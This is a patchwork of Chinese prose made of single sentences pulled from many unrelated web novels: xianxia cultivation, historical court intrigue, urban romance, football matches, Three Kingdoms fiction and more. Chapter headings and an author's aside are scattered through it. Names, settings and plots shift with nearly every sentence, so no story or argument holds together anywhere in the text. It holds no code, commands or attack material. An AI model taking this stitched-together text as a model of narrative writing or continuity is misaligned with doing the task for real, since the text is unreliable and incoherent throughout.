二长老最后这句话说出口后,在场所有的阿依努族人脸色都是一变,这番话实在是太诛心了,他们不得不胡思乱想一番,到底自家族长是不是真的那样想的他们谁也不知道。 这样的发泄不禁震住了在场的那些歌姬,也让袁绍一时哑口无言,毕竟在这个时代,哪有姑娘家在大庭广众之下大声说话的。 一时间,崖顶杀气腾腾,大多数人的手已握在了自己的兵器之上,只等一拥而上,结果了龙飞云的性命! 诚然,降龙剑法举世无双,更是剑尊尉迟枫的成名绝技,谢璧已得了其师七成火候,若是他敌不过魔尊,那即便尉迟枫亲至,也无多少胜算。 恰恰相反,这两人竟同时大笑,笑的弯下腰不说,竟还笑出了眼泪! 思索良久,云姑还是暗暗做了个决定。转身进里屋换了一身褐色斗篷锦衣出来。有些事情不做就没有机会了,更何况她现在已经不能等下去了。所以,她打算走一步险棋。 一旦身边少了能硬抗的大盾,闻心澜身手再灵活,活动空间也渐被压缩,估计用不了多久,就要让人拿下。 第15章 现在跟我有关了 而后他拿出战术手枪,想了想之后轻吐一口气,突然猛的一抖手,抖手的同时手枪一甩,弹匣顿时飞出了出去。 杜明泽听佟鑫说完,没任何反应,可佟豆豆脸上有些挂不住,她不明白佟鑫跟杜明泽说这个干什么。 佟豆豆心里嘀咕,还跟我保持一定的距离,这是嫌跟我走在一起丢人吗? 白银阶生物,其基因活力可以说已经强的难以想象。只有白银阶的进化者,才能和它们碰一碰。 “阿鱼,你刚刚和言公子在说什么?”沈之行瞥了一眼远去的言清,直接发问。 “老婆,那野人应该是姜央,是苗人的祖先。”他思索下提及姜央。 看到这种情况后,苏伦立刻大声喊道,对于霜巨人的力量,苏伦有着清晰无比的认识,他们全力一击之下的力道足有数吨重。野蛮人武士虽然实力不错,但是面对这种力量碾压根本毫无反抗之力。 发现这一点的方牧心头微惊,然后暗暗感慨……生物等阶达到青铜之后,果然非同寻常。 当然,再敏锐也没用,此刻已经中枪,‘烈火’的可怕破坏力在这一刻显露无疑,又两分钟之后,饶是以疾风虎的生命力,也已经一动不动。 洛语很清晰的记得当日的场景,林初音爆种,他们两人无奈先行撤退,可跑到半路,林初音又追了上来,他们赶紧接应。 林一推了几下没推醒,林允儿只是翻了个身,都囔了几句,又接着睡了。 卧槽,还真狠!维斯顿陡然身体一僵,无奈地摇了摇头,将手里的自然之语递了过去。 大巴车窗玻璃构造特殊,若是破碎会直接化作颗粒散落一地,而不是像普通玻璃一样有棱有角如同刀一样立在那里。 在这里,傀儡会做出与傀儡主人相同命运的事情,随着完成事件增多,傀儡会逐渐与傀儡主人同化,最终取而代之。 林一摆了摆手,现在说这些都没用,既然事情都已经发生了,那他也不能背着这个黑锅,虽然他和裴珠泫已经结束了,但是也不想让她一直误会自己。 金相佑疑惑的看了一眼安俊英就离开了办公室,心想是不是这个导演也给他捅娄子了,这如果他也犯了什么错误,那林一还会轻易的饶过他? 。。。第二天,林一没有让马克和崔雪莉送,他和张元英坐上私人飞机托管公司派来的公务车,兄妹俩被送到了旧金山国际机场。 以自己现在的实力,别说是区区一个看管停车场的保安了,就是那些赫赫有名的门派,他都无所畏惧。 这是他作为一个编辑的直觉,而且根据他对江洋的了解,往往最不可能是凶手的,就一定是凶手。 尽管隔得很远,可两人之间剑拔弩张的气氛却还是影响到了会议室里的其他人。 偶尔她回公司,还看到唐清橙和他一起走着,两人看上去颇为亲密。 这样被全然忽视的场面,无疑是尴尬地,但沉浸在回忆与震惊的双重冲击下,元沁根本就没觉悟。 最后我也不知道什么情况,本来要出门的易晋便抱着我上了楼去了卧室。 上官烨嘴角勾起一抹苦涩,他惧怕的不是古墨琰工作上的能力,而是叶诺对他先入为主的感情。 许诺被丁耀推倒在地上,被丁耀压在身上,许诺趴在地上,看到工程车处一片火光乱闪,车子碎片绷得到处都是。 “阿康,给我们拍几张。”他拿过相机,将相机递给一旁的康荣蔚后,拉着唐清橙就要过去。 这才是重点吧!难得她说得这么委婉,不就是想说‘她除了是个花瓶,一无是处’?额头冒汗,说话都是上气不接下气,她是有多捉急? 有可能这一个早上都不一定能轮得到他们,想到这莫雨心中有了退意。 回到自己住处,牧碧微匆匆说了经过,命阿善挑了件方便行动的丹色杂椐换了,又将宫中行走的丝履换了短靴,阿善也收拾利索了,两人回到方才之处,何氏仍旧等在了那里,便起身出行。 他的神力可是全身都充盈的,就这一跨步就已经到了我面前。莫扎特一挥动裁决圣剑,一道白色的圣光直接朝着我胸口袭击而来,我还没来得急动手,就已经被圣剑之光给割到身子。 “筱筱,看你说的,好像自己不是个年轻人。”齐莹取笑着说道,一时间引来大家跟风的笑,看收到了效果齐莹才给夏筱筱使了个眼色,夏筱筱心领神会地冲她点了点头,对齐莹的解围表示感谢。 夏筱筱撇开了头,她从来没有想过和她比,只是田楚儿执迷不悟罢了。田楚儿是在一个男人家被抓的,和她同居的男人长相俊美,只是嘴角挂着一抹不怀好意的笑,田楚儿都这样了他还笑得出来,可见两人根本没有感情。 “好,那我这就帮你查查!”说完恐惧之王的声音就消失在我的心里,而血刀也安静了许多。 “你们火云洞管得这么严,哪来的那么多奸细?”我气急败坏,刚才那遭幸而有惊无险,即便如此,我还是被吓得惊魂不定,满头是汗。 第16章 反常的莉亚 范海看着自己带来的高手就这么被封林轻松的杀死,眼中已经布满血丝。 “此人有如此身手,还肯屈居于常人后排队,必是正派之人。”萧蔷心中暗道,对王昊已是颇有好感。 只见她青丝长发,偏在一边,耳垂缀明月珠,缃绮为下裙,紫绮为上襦。 就像是平静的海面,骤然扔下了一块巨大的石头,荡漾起了层层涟漪。 而正在此刻,突然之间,一阵狂风吹起,他们突然之间听到一声吱呀吱呀的声响,所有人的头皮有些发麻,顿时之间循着声音开始望向了那发出声音的地方。 我似乎可以直接将这股血气吞噬,化为我体内血脉之力的一部分,也可以直接将他抹除。 那些没有到达至尊境界的人在遇到这些绿色的烟雾之后,身体就彻底的融化,最后完全的消失。 “师父,这黑熊精,要怎么处置它?”孙悟空晃着金箍棒,笑嘻嘻问道。 “寿哥儿,你变了。”杨邺的声音依旧嘶哑,目光也更加冰冷了,这一刻他恍然醒悟了,想要成大事,一味的依靠别人是不行的,特别是一个他根本掌握不了的人。 听着天兵飞剑如此叙述,心知这件事情看样子并没有那么简单,而剑侠客突然想到了一种可能,那就是会不会是白琉璃,金琉璃,青琉璃,紫琉璃做的。 再加上那些皇子、公主忙着获得那些大臣、本地势力的支持,倒也没有再腾出手来对付这个明显没有什么威胁的大皇子。 尽管太空中的舰队只是偶尔开火支援一下,但对于地面上的那些部队来说,无疑也是最强有力的支援,尽管不是随时都能获得,但一旦出现就能拯救他们于水火之中。 “最为紧要的,还在将军!”吕布脸上的疑惑稍稍退去了一些,程昱接下来的一句话,却是让他顿时觉着更加迷茫。 以刘辩眼下的实力,讨伐一路实力不算强大的诸侯,或许还有胜算,但是面对数路诸侯共同进犯,他却是完全没有抵御能力。 将右手举在眼前晃了晃,发现没有什么问题,刚才那整个手臂里面都被烧焦了的感觉仿佛只是错觉,他又有些慌乱地低头看向了自己的腹部,用手摸了摸,也没有发现什么异常。 只是,碰到了一位摸着枪勒令他们自证清白的君莎。这确实是头一回。 这些真仙、仙王、仙皇,以及天籁、玄真两大仙帝尽管刚刚入陆青河的神国当中,增幅的力量不够明显,但是陆青河可以肯定,随着他们慢慢被神国当中那种狂热的气氛洗脑,绝对也能够成为他的强大助力。 继续看下去,总算找到高阳宇的记录了,他和秦羽竟是一起去的。 林风感应了一下体内岁月苍炎的情况,然后又看向手中的界器碎片,思索了片刻,然后目光微闪,暗自使用了修复术。 萧晨沉默不言,神色发生了一些微妙的变化,不在多问昆仑宫的事情。 风玉楼这才明白林宏的意思,不由得有些不好意思。周围的人一听,便都很有眼色的与风玉楼和秦若云拉开了些距离。 龙昊手中的确有好东西,不过却不打算换取,这次前来,他主要是想要见识一下交易会,顺便看看有没有特别适合自己的东西。 当年有一位医者,叫什么来?沈梦溪,对,就是他!有一个村子也是这种症状的瘟疫,由于当地官员最初并没有把这种病症当回事,控制的不及时,结果后来蔓延开了,一下子死了好多人。 而那被完颜璟接过话茬后,便冷着脸的耶律月,则是率先在完颜璟坐在门槛上之前,走进了茶铺里头。 不过眼下他却并不担心这个问题,除非这四个魔修的手上还有其他高阶法宝,否则以他们的修为想对抗韩东林,绝对没有一丝胜算。 父亲带着五岁的我仓皇离京,一路躲避追杀。一同护送的,还有祖母在鉴鸿司的学生,秦娘。 想他们大当家的,孔武有力,义薄云天,也是英雄好汉一位。只可惜,三十多岁的年纪还是个老光棍。 可更让陈炼没想到的,将军居然在此时,眼神忽然大骇了起来。陈炼思索再三,既然不是里子的人,那只有公主,可从公主平静如常的神态看,显然也不是。 叶新心中暗骂了一句蠢猪,然后走到已经咽气的野猪精旁边,将剑刺入其腹腔之中寻找了一番。 这次要不是龙昊及时出现,他必死无疑,连柳毓师妹,都会被南宫图玷污,想想都感到后怕不已。 第17章 日子好起来了! 青虞压根儿也没照着青晖说的什么多少些护卫什么的,她甚至都没跟任何人交待,晚上的时候离开了青玉的身体,让青玉留了一封信放在桌子上,然后第二天一大早,就带着秦丽娘和程漠离开了。 既然是因为私人恩怨,那么,他觉得这件事,也可以去找私人途径解决。 这个主意打定了,苏轻鸢便放下心来,风卷残云似的把饭菜吃了个干干净净。 两人的计划成功了,死者也顺利怀孕了,但是等孩子生下来以后,死者却发现,这个孩子,和好朋友的丈夫,一样耳后有一个胎记,所以她怀疑了起来,也质问自己的好朋友。 那时候他吃剩菜泔水都是偷偷摸摸,没有想到一个公主居然也是这样吃的。 她费尽心里跑出来,还没大骂沈清歌一顿让她没脸,怎么能让沈清歌就这样走了? 夙澜叙那几句话看似轻松,但是他定然是生出了疑惑的,怀疑夏初一在她这里。 工作人员还想说句什么,却被经理的一瞪狠狠堵了回去,心不甘情不愿的准备拷贝录像。 无非就是想着,眼下还不是彻底废帝的好时机,这皇位暂且让其坐着,如果识时务一点,就无性命之忧。如果要是不听话的话,他不介意换个聪明点儿的当皇帝。 沈清歌一边想着,一边走出影视基地,在街边随便拦了辆出租车,回到了家里。 首先要普及安全知识,由林警官出面联系,专『门』请来消防中队的讲课。 琅环岛是属于东海七十二仙岛中,比较周边的一座,是无量天宗的产业。 在这一切完成之后,漠心生物就算是制作完成了,并等待着它的主人们下达各种命令了。 卡瑞克思在多罗面前表现得十分的大方其许诺只要多罗点头同意这项交易那血红祭坛上的黑暗圣言残页就作为定金送给多罗其后的两张在卡瑞克思正式封神之后给了交付。 他没有说出来,只是低叹了一声,看着海棠的指尖,轻轻按下一个按钮,大祭师的声音立时传了出来。 国际米兰队的中后场可是下了血本,他们竟然有三名后防球员共同夹击叶枫,虽然他可以勉强护住皮球,但形势却岌岌可危,谁都能看得出来,丢球是迟早的事儿。 至于多罗自己也带着安卡拉男爵,跟着岩浆毁灭者的脚步向着东南方而去。 如果到这种地步,他还不明白发生了什么事,他就可以直接到下面送上脖子,受死算了。 张翔也不介意。满场飞奔,而p大则不慌不忙的互相打起配合,对方p大不愧是足球大学生联赛八强球队,配合娴熟,并不向翔枫队那样单打独斗,一时间翔枫队还真拿p大代表队没办法。 缓缓的前行中,在又继续解决了6头藏獒后,林风终于走到草地的尽头,此时呈现在林风面前的是一个黑漆漆的大门口,见状,林风没有耽搁,直接闪身进去。 他可不想让清清坐牢,即便是不能和清清在一起,他也希望她能够好好的。 “还是老样子。”我们话音还未落地,朱棣又已经将床上的帐子全部扯开,怪模怪样的全部裹在身上往外跑去,果然不出我们所料,张昺每天都派人跟着朱棣,朱棣在大街上也是更加放浪形骸,全不顾狼狈,疯疯傻傻惹人怜。 “我看着她是向着那个方向去了。”附身的随风指了个方向,就躬身退到了一边。 苏静卉对几位舅舅是不上心的,她比较好奇的是,林老爷子的反应。 PS:男人这个通病,我深有体会,我家某人就是这样滴,不知亲们的那位是不是呢? 这半年里,江子曦动用了很多关系,以及虞家曾经的旧部出动去找虞清清。 字条泡了这么久,上面的字迹难免有些模糊,但还算能看到明白。只是简简单单的三个字:可安好? 空档休息时,她出了录音棚,躲在卫生间里给乔席安打电话,但是彩铃响了很久,都没有人接听,她失落的叹气,收起了手机。 天色渐渐暗下来,整个城市被笼罩在秋日的荒凉中,给人萧索之感。 有定性的人皇帝见过不少,所以对这念声这份耐性,康熙不过是莞尔一笑。 弥罗北部边境,荒漠与丛林交映,形成了一道黄绿相间的风景画,在这两者交叉之地,一条昏黄的大河卷起黄沙,汹涌澎湃的咆哮着流向远方。 早已化为废墟的内务府广场上,林战还在喘着粗气。龙神的死,给了内务府一次沉重的打击。但此刻林战有伤在身,那罗真,也便不打算放过他。 方碧茹这段时间也没工作,在关珑山庄要么做做饭,要么扫扫地,擦擦桌子。 如果陈晨能透过珍珠项链看到她的疵暇,她又觉得非常地不可思议。 他在戏耍天言。既然已经暴露出杀机了,就断然不能让他离开。否则,必然后患无穷。 这只能让长辈们对她的话产生更多怀疑,便是这六、七成,保不准长辈们也怀着迟疑的心思呢。 初月和谢司云将那二姨太送回了郝家的时候,郝家人也没有想到他们竟然会有这样的做法。 “没关系,总有一天,九州城是属于我们的。这个天下,都是属于我们的。”林战说道。 陈晨不想再理张彪,因为他赶着要找一个所在去处理商城的事,或者是上课时偷偷进行也好。 初月笑的眉眼都弯在了一起,分明知道是她在胡闹,可谢司云发觉,他根本就没有办法拒绝这样的初月。 第18章 疯狂的普罗旺斯人 可王翦见识了第一轮演武的时候,长兵在箭雨下的脆弱,所以将长兵都改成了持盾兵,这就有机会了。 能力无法胜任职位带来的压力,公司里的流言蜚语,都让杉杉非常困扰。 而我们三个,得到了机遇,成立象牙塔至今百年,虽然培养了无数优秀的学生,却始终没能给这个世界带来什么本质上的改变。 看得出来,他是真心实意想要为大风镇妖司招揽宁慈,只是宁慈拒绝,他也不能强求了。 “林枫,一起吃吧。”唐沐沐见他忙前忙后,有些不好意思地开口,邀人坐过来歇一会儿。 他提着狼牙棒划过半空,狠狠地砸下来,整个空气都跟着发出锐啸声。 到时候人家让你以内戏为主,不放你出去试戏,你就只能拍那些垃圾。 但现在,她已经很久没有登过那个微博,没有在那个账号上发过言了。 伴随着一道蛮横的声音响起,知客僧的声音被掩盖了下去。下一刻,佛堂的大门被打开,几个全副武装的驻城卫从外面闯了进来。 因此,他也是猜测,空中那些人必然是某些大宗门,甚至圣地众人的顶尖强者。 林沧海虽然兴奋,但是还是克制自己,让自己不要表现出来。现在李木子他们也准备下班了,林沧海只是做好准备。 “不急,等他距离凤凰城远一点再追击,敢动我朱樾的孩子,他就是有十条命也活不成了。”朱樾冷声开口,身上释放着森冷的气息。 那么他所说的,自己回到手的更多善因,是怎么回事?一提起来关于这方面的事情,林沧海简直是摩拳擦掌,恨不得立马出手。 不管怎么样,这个法源焰冥剑是不想放在桀那里了——不是不相信桀,是不相信趴在桀上的蓝晶儿,它简直是有多动症一样。 师父沉默着,不,应该说是皱着眉头思考着。这里面有很多事情都是环环相扣的,既然尸魃是信任了我,这里面可以说还有另外一个问题。只是师父能不能理解这里面到底是发生了什么事情,这就是我不能说清楚的了。 一个肥妞说着就把我抱住了我,这丫的就是占我便宜吧,现在占便宜还真是好机会,好吧,你抱吧,虽然你们不漂亮,但身上的肉感好不错,我就吃亏一点了。 五行相生相克,这便是五行大阵最恐怖的地方。特别是相生状态下,五行的力量会一直处于无穷无尽的状态,甚至永远都不会枯竭。 川普挺着发福的大肚子,挠挠下巴上的那几层赘肉,说道:“没错。 靠,升天,那不是要杀了我嘛,这喜鬼物是见我恐惧的用词不当了吧? 但是,所谓上天,是公平的,在流月城的人拥有强大力量的同时,他们的身体抗性远差于普通人类。 不一会他们就来到了那个林浩很是熟悉的警察局,看到这个地方林浩一阵的头疼,好多事情就是从这里开始的,自己进进出出这里好多次了,警察局给他留下了很不好的影响,只是因为他不想再在来这里了。 而褚云明走的时分,也是一阵暗自窃喜的感觉,正本自己现已预备被差人给抓进去了,可是现在来看,如同彻底不必了。 虞平将众人反应看在眼里,暗暗记下刚才他说话的时候哪些人的神色是赞同的。之后他会去逐个拉拢。 好在当时白眉这老家伙勉强还算有人性,大概是进入仙界还没多久的缘故吧。 她只能想办法补救,立即夺过服务员递过来的手绢,和樊子安一起擦拭起他的西装。 最后,顾景深直接将这些人丢到了前面不远处的河里。丢完了,这才回去。 众人这才发现被林烨给耍了,一名青年男子冷喝一声,反手就扔出一件‘凡品’低级的法宝。 “我说你这阴魂不散的。这么晚了不去睡觉在这做什么?”某男人扫了南宫凌月一眼十分的嫌弃。这家伙不会堵在山洞口是在堵他? 一边是一双手和八根蛛矛,一边只是一柄剑,所有人都看到了结局。 对于萧寿的遭遇秦龙表示同情,并没有觉得自己对杜蛇和麻子的处罚太过了。 很多老毛子都有些失魂落魄,满脸的沮丧之色,面对如此灵活,却又刀枪不入的战争机器人,他们拿什么去抵挡呢? 听着周昆的诉说,李侯也不禁听得入迷。虽然修炼世家他听说过,但却从来没有见过。周昆说得让人身临其境,他也不禁对他的经历有些唏嘘感慨。 难道赶尸人是在埋葬长弓男子?我数了数赶尸人身后的白衣死尸,竟然有七具了,果然多了两具,想必赶尸人将那丢失的两具死尸已经找到。 普大帝都有种怀疑那家伙是不是已经被Z国给策反了,就算不适合居住,那也是领土,是主权的一种象征。 听见少将的话,那几个国安局的人都点了点头,让开了路。不过,他们的神色有些不屑,他们是国安局的,专门负责对付这些境外的间谍,特工,他们都没有办法,这两个军人能行才怪了。 就在我犹豫不决之时,一股异样从体内涌出,并且,全身开始发烫。望着浴缸里的水越涨越深,我几乎没有多想便衣服脱了个精光,然后跳了进去。 突然间,我感觉到耳边一股风声,耳朵有些痒,我下意识的去挠了一下耳朵,然而这一挠,我感觉到了手臂上好像流下了什么东西。 冉斯年面容平静,安静思考。瞿子冲不敢打扰冉斯年,也默不作声,默默等待艾芩歇息片刻后继续讲述第三个梦。冉斯年和瞿子冲都十分专注,丝毫没有注意到身后的范骁已经进阶到了胸口剧烈起伏的亢奋状态。 云玉武没有什么岛主的架子,他和守卫说要出去走走,带着他孙子散散心。 “先预支你一千块的薪水!”孙娇以为对方是碰见了什么急事,需要钱,也没多想。‘江湖救急’吗,一千块钱也不是什么大钱,哪怕就算这家伙真拿钱跑了,她也就是苦笑两声。 第19章 买车 听到岳七这样胡诌,李添秀差点把刚喝进去的咖啡喷出来。这家伙,就会装模作样。 众人死说活劝、软硬兼施,总算暂时打消了赵焊工去医院门口摆地摊的念头。 “哼!”龙啸放开扣住她的双手,今天不比昨天,他也不怕她再逃走。 因为经常的混迹于赌场之类的场合,再加上现在也是一名保安,所以孙大名还是有几下子身手的。 紧接着,那爆碎的元婴,竟然瞬间融合,化作了一尊漆黑色的身影。 张子安既拦不住它也不敢叫住它,因为如果这是个陷阱,他们在这里内部一折腾,无异于告知敌人自己的位置和虚实,再加上它也不听他的话。 砚君的目光太坚定,金舜英一对上那双眼睛就明白:苏砚君不仅不会向她妥协,也不会向任何人任何事屈服,一定要救出她父亲才罢休。 方月衍的嘴唇动了一下,闲闲地回答:“可能活着吧,我好久没留意。傻里傻气的老顽固,你这么紧张干什么?”说话间不知是有心还是无意,向砚君身上瞟了一眼。 穆萨-索乌拿了球之后,阿扎尔没有继续内切,而是再一次直线跑了下去,穆萨-索乌一个转身,反倒是把球传给了向大禁区跑去的卡巴耶。 害怕归害怕,但是公孙凡的脸上却是一脸的从容,按照修真界里惯有的问候方式行了一礼道:“不知前辈何方高人,还望告之尊姓大名!”一边说,公孙凡眼角的一抹余光却已经在打量着周围的情况,他在寻找着逃跑的机会。 燕王此刻并不在宫中,这倒不是他有先知先觉,而是出宫接见旧部去了。上午皇上正式宣布换储的决定,再过几天自己就是名正言顺的太子殿下了,狂喜之下燕王想到了那些拥戴自己的将士们,便向皇帝告假半日,出宫去了。 林剑澜听到“殷殷”二字,顿时想起当日并肩对付那两个老头的情形,和她多有接触不过就那么一次,却总是难忘。 傅有德气急败坏,登上内城的城墙,向刚才爆发遭遇战的地方看过去,战斗已经结束,地上躺着几十具尸体,穿的号衣都一样,看不是谁是谁,一滩滩的血已经凝固了,煞是骇人。 元封眼睛一亮,随即又苦笑道:“便是打出来我也不能穿了,你看——”说着一指自己的裤子,原本还算合身的裤子已经变成九分裤了。 李维正的亲人目前都在辽东,他的父亲和继母是在洪武二十七年被接到了辽东,全家都住在金山卫的一处大宅里,这里是李维正老巢,戒备异常森严,城中都是辽东军高官的府宅。 “皇阿玛,爱新觉罗家,愿意有我这么一个,连自己的嫡妻,都保护不了的子孙么?”胤禟缓缓的说道,声音透着自嘲,听得康熙心头涌起一丝酸楚。 他只是一次又一次地重复着挑战,战胜敌人,再次挑战的过程,不知疲倦……无休无止。仅仅这短暂的十天时间里,他已经在不知不觉创造了数个虚拟实境内“无规则综合对战”游戏的记录。 我拿出了自己几年前临摹的雾岛真名的画像,和那两张百元钞票一起塞给了店员。 “老爷,赌场有人闹事,二少爷前去看个究竟,结果和对方动起手来,我们拼死护卫,搁不住对方人多势众,二少爷他……他……为了保护我们去了。”保镖们说着,也是泣不成声。 石重伟登基后,有传言说要更换四大都督,甚至有传言右武卫大将军张源官会取宁大将军而代之。刘维知道,屯田之利瞒不过人,这是个肥差,如果张源官就任安南大帅,自己这个屯帅的位置不用多久就要换人了。 曲秋蝉姐弟死了,他们家中还有一对可怜的老人,这以后要如何生活呢? “琴姬!火!野兽怕火!”追上来的西风正好看见这个场景,连忙提醒着琴姬。 这并不奇怪,妖儿的心思原本就很单纯,血主炼奴是为数不多比较无害的灵怨之一。 不过,周鹜天知道事情并不会这么简单,如果自己不将大量的时间放在鸿星之中经营各类事物,恐怕必然会错过十年之后鸿星密藏的开启,而到时候一切都会化为乌有,而现在的一切不过是浮云一梦而已。 虽然周鹜天知道眼前的这些都是真实的,而且这些也确实都是真实的,但是心里却总有这样的预感,或者说已经知道这样的结局一样,最后的结局也与属性成就没有什么关系,只与自己做的什么有关。 又过了一会儿,我们来到轩辕家族旧部城市外围,我让紫萱好好感知了一下,轩云他们都在城市里面,万国的高层除了神农伊人,其他的基本也都在。 它被云尘召唤出来的这段时间,智慧变得越来越高,而且隐隐间已经超过了一般的人类。 齐浩觉得楚翘的语气有些暧昧,没敢接口,只是微笑不语,被她拉着胳膊继续向前走。 “放屁,竟敢侮辱我家公子,找死。”其中一个侍从闻言大怒,手中长刀一挥,顿时化作三道倒影,而身形则是欺身而上,三道刀影紧接着冲着柴飞面门砍去。 所以,当张南跨进营区、看着死气沉沉的袍泽们沮丧的表情,他也无言相对。 “让大鹏留守在这里把,我们三个去。”二蛋子走了出来,沉声说道。 昏迷中,好像有只手掰开了我的嘴,又有个湿润且滑腻腻的东西探了进来,轻轻吸吮着我的舌尖。 巫自强与安子死里逃生,来到派出所后被分开录口供,询问巫自强的警察在知道了自己所询问的就是巫自强后,起身先去打了个电话,打完电话才回来接着询问。 巫自强埋头开始整理,他相信张海涛一定能够解决婚车的问题,他肯定早就想到办法,只不过心里没底而已。 第20章 继续合作 但是这些普通的士兵们可就无法这样了,死了一批之后相当难以补充。 “对,联盟那边希望能让我们几个拍张照——联盟下一代什么的,好多人都在,我正好来叫她。”明先生很自然地说,好像由一个本该被工作人员团团护住的教练来找人,确实是一件很正常的事。 虽说沈珩和杜晏深入接触的话,确实能够影响到杜晏的基因,导致他体内出现辐射度。 他们的攻击落空了,那名士兵虽然被这些打击弄得身形不稳,但还是死死的用另一只拿着武器的手抓着长梯不让自己掉下去。 此时猴子还没得到如意金箍棒,不过萧晗也不欺负他,同样是赤手空拳。 美琳达看着风睿给神像套袋子,一时没有反应过来,直到袋子消失在风睿双手间,才回过神来。 唐锋舒展了一下有点发麻的四肢,回想几年前,他是地下世界的王者,叱咤风云,无人敬畏。 燃灯古佛等人正是诧异,便听“哧!”的一声,一道血光从虚空激射,一股滔天的凶煞荡漾而来。“老师,这是怎么回事?”燃灯道人忍不住问道。其余几人也是一脸好奇。 男子吃完饭之后,回到了自己的工作岗位开始收拾,完成之后又回到了卧室。 如果每次在我被调戏的时候娘你能别躲在一边偷笑,或许儿子我还能相信你一点。 “不管你怎么说,我都不会给你解穴的,你死了这条心吧。”柠栖将一根筋贯彻到底,固执得像头牛。 第五嫣然闻言,将测元石递给了离他最近的苏山,苏山接过石头紧紧一握,只见石头上骤然光芒四射,这次非但是石头通体乳白,上面还隐约有一长一短两道红线,赫然便是他如今的真实境界“桥引境”。 做了漂亮指甲的纤纤玉手扶着楼梯扶手,轻盈的脚踩着楼梯缓缓下来。 作为一个毫不起眼的普通人,她对于灰姑娘遇见王子的浪漫故事还是抱有期待的。 于妈摇了摇头,不知道花姒锦在生主子什么气,只得规规矩矩的帮她打扮。 围观的百姓们不敢劝阻闹事的地痞,赶紧劝着花姒锦赶紧离开,别和他们硬抗。 早晨,林子里四处大雾弥漫,最后几个值守夜班的飞骑,向巨大的篝火堆了再一次添加了许多木柴。 双眼蓝光电射,背后的灵能介质便光芒大盛,各种灵能特性开始在灵能介质上凸显而出。 梅鹤唳听完,笑了笑,这是直接拒绝自己的提议,顺带着和自己撇清关系吧。 眼神要带有和蔼的笑意,陆浩然眯着眼,微微歪头,想向唐水华展露一番这标准空姐式笑容。 靳澄湛抓一块绿豆糕掷过去,糊了仆从的眼,一鞭子甩回去抽了自己脸。 想拿下加州,民主简直痴心妄想——德赛时常将这句话挂在嘴边,尤其当西泽将收集到所有关于中国人投机取巧的证据交给他时。 如今乾国朝堂之上,天子重病,武王廉王威王都不知所踪,坚定的保皇派护国公府被圈禁,镇南大将军赵律也被押在刑部大牢,右相一直以来都为天子掌控着城防卫,右相于奎具备了造反谋逆的条件。 他们去医院换了纱布,拿了药,午餐时间紧迫,索性都没吃,直接去Alva约定的见面地点。 就在他们看的这会,翁子航玩的诸葛亮偷塔被发现,被韩秀秀的角色关羽撞进防御塔内,再被一脚踩死,真的死得很难看。 “没什么事,就早点回去休息。”男人再次开口,然后和她错身走了过去,径直回了房间。 两人不远处,银丝卷不凑巧撞上帝国强队“北方狼”,以狙击手牺/牲换取薄覆水逃脱。白月光陈希阮趁乱布置好全部巫器。 原来,齐遥的武艺并非全然来自青州齐氏的绝学,他以十七岁的年纪就有如此高的修为,全赖他那比云诀子大师还要神秘的师父。 林茶第一次知道,原来鱼还有这么多品种,有的鱼明明长得很像,名字确实不一样的。 望着头顶一条纯黑色的空间被侵蚀掉而无法复原,李玄心里无比沉重。“雷鸣爆弹”的杀伤性比自己想象中的要可怕得多。 除非……爱瑠受到了某事的羁绊不得已停留在某处,更进一步地说,就是爱瑠已经没有办法来寻找他。 尚嘉谦听到她此刻的话,冷漠的俊脸此刻不带丝毫的目光,一副很不爽的表情狠狠割一眼菱雨航。 年轻僧侣没有说话,只是对他礼貌的点点头,把水壶拿了过来,要给艾格喂水。 “虽然我是个洞穴人,不过洞穴人也是需要睡眠的,你昨天的话让我一个晚上都没睡着。”杰格咧着嘴,声音沙哑。 苏长青来了看雨的兴致,外面风有些大,带着屋外的门“砰砰砰”地开开合合,可是听在他耳里却算不得吵闹,反而别有一番风味。 “那我也坐会吧。”说着,林筱筱就在张不缺旁边坐了下来,将螓首靠在张不缺的肩膀上面,她真的有些累了。 千反田成玉无端的想起了握住勇者的手还是握住他手中硬币的选择,有些心烦,他干脆偏过头,脱下鞋子往客厅走去。 “叫我干嘛?”尚嘉谦一张冷酷的俊脸带有一丝不悦的表情,抬头望着自家的老爸冷声说到。 这是一个雨天,路上有些泥泞,一辆三轮车载着人,慢悠悠地开在这条泥路上。 所以没有人愿意进入到艾尔比帝国的深处来,对于很多人来讲,他们也根本不看好这边,毕竟这里的居民太穷了,也买不起什么东西,他们就算是拿来东西也根本没有办法交易。 第21章 胜负欲 想到这里,余浅白又想起了那些惨死的弟子,那些无辜的眼神,甚至想割草一样,惨死在自己的眼前。 没有多久,沈夜来到酒馆外围,他一眼就看到酒馆们敞开着,里面灯光通明。 “既然不敢进去,那就从哪里来,便回哪里去吧!”从里面又传出声音。 赵杰不断审视着不远处的沈夜和白熊,他开始重新定位两人的分量,露出一丝自嘲的笑容。 他知晓,固然刘表贵为汉室宗亲,但若是要兴复汉室,此人也绝对是靠不住的。 沈夜猛然反应过来,这帮人该不会就是白主管说的上面下来的调查团吧? 余浅白这才想起来,这个世界妖兽很多,像是自己本来世界那些海洋生物却很少少的。 “师兄,您不觉得直接安排他为圣子太不妥了吗?”陆毅然面带微笑,但是笑容没有任何温度。 开始的时候,洛笙对于李铭天的种种做法恶心的不行,所以对他一直没有什么好脸色。 仅用了三十个回合,“咔嚓”一声,韩世忠的一条臂膀便脱离身体,飞了出去。 “难道真如传闻中所说的,你利用她想要算计左丘黎夜,却中了左丘黎夜的圈套……”御不凡有些失神的问道。 “屌丝怎么了,我也是屌丝,我就找她了,怎样。”我发狂似的冲他吼道,也不知道为什么情绪莫名失控。 过了15分钟,信号是勉强接上了,一位满脸横肉的中年将军出现在了投影里。 我还是希望她能找到一个,托付终身的人……想到这里,我突然扭头看了一眼旁边的崔雷锋,这家伙脾气挺好的,人品感觉也不错。 一路之上,风势越发猛烈,好在距离城池不远,半个时辰,来到城外。张横早已清理出地方,奔行了近两千里的人马终于可以睡个安稳觉了。 追到华山附近时,依然不见边令诚等踪影,便想应该是追不上了,他们早走半日,恐怕也会担心高封二将属下会追杀自己,一路必不停歇。 “别转过来!转过来就打死你!”韩达用枪顶着雷蒙特的腰部叫道。 在魔瞳将军的带领下,一个时辰后,一片发着微光的潭水出现在了何朗眼前。 黄月英陪着诸葛亮久在西域,说真的,没少给诸葛亮出了绝妙主意。目前的西域,诸葛亮按照刘泽的指示,沿着各处绿洲、河道、湖泊栽种了无数柳树,这其中,黄月英功不可没。 她推开一个有一个挡在身前的修士,但是始终没有找到那个身影。 